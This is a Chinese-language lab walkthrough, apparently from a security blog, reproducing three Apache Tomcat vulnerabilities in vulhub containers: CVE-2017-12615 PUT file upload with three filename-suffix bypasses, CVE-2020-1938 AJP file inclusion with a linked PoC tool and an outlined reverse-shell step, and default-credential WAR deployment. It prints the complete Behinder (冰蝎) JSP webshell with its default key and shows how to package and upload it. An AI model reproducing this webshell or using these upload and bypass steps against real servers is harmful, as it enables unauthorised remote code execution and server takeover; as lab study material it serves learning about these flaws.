0x00 前言
今天来复现tomcat的三个漏洞
--学如逆水行舟,不进则退
0x01 CVE-2017-12615
1.漏洞简介
由于配置不当(非默认配置),将配置文件conf/web.xml
中的readonly
设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
2.影响版本
apche tomcat 7.0.0-7.0.81
3.漏洞复现
环境搭建(此处省略,使用vulhub搭建),出现以下页面,说明搭建成功
使用bp抓包进行文件上传
注意:::需要改成PUT请求方式,注意点已在图中标记,出现201,应该是上传成功了
进去docker容器中看一下
使用以下命令进去容器之后,需到容器的/usr/local/tomcat/webapps/ROOT中查看
docker ps -a //查看容器ID
docker exec -it 容器ID bash // 进去容器
尝试抓包写入冰蝎的jsp木马
注意:由于限制了jsp后缀的上传,这里需要绕过,绕过方式有三种
1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)Put/a001.jsp/http:/1.1
冰蝎jsp木马如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
使用bp抓包写入,如下图(注意点已在图中标出)
使用冰蝎连接
0x02 CVE-2020-1938
漏洞简介
CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响版本
Apache Tomcat 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
漏洞复现
环境搭建(这里同样使用vulhub搭建),出现以下图片,说明搭建成功
使用POC进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件
工具下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
这里用使用python2环境
这里有漏洞之后,可以进行反弹shell以及msf拿会话,但是由于得结合文件上传漏洞,这里就不演示了,简单说一下
一:先上传一个txt文件,反弹shell的命令需进行base64编码
二:nc监听之后,使用上面的脚本-f参数后改为上传的文件即可
0x03 弱口令war包部署
漏洞简介
在tomcat8环境下默认后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台
影响版本
全版本
漏洞复现
环境搭建(既然使用vulhub搭建tomcat8环境),出现以下图片,说明搭建成功
搭建好之后又,访问http:ip:8080/manager/html,出现下图,进行登录
默认密码tomcat,tomcat,进入后台之后,有一个上传war包的地方,如下图
这里同样使用冰蝎的jsp木马,使用一下命令,将jsp文件打包为war包(木马内容和上面的一样)
jar -cvf shell.war. shell.jsp
进行上传war包,部署成功之后,会出现如下图
访问jsp木马,不报错即代表成功(此处注意目录)
使用冰蝎连接
有帮助的话,点个关注呗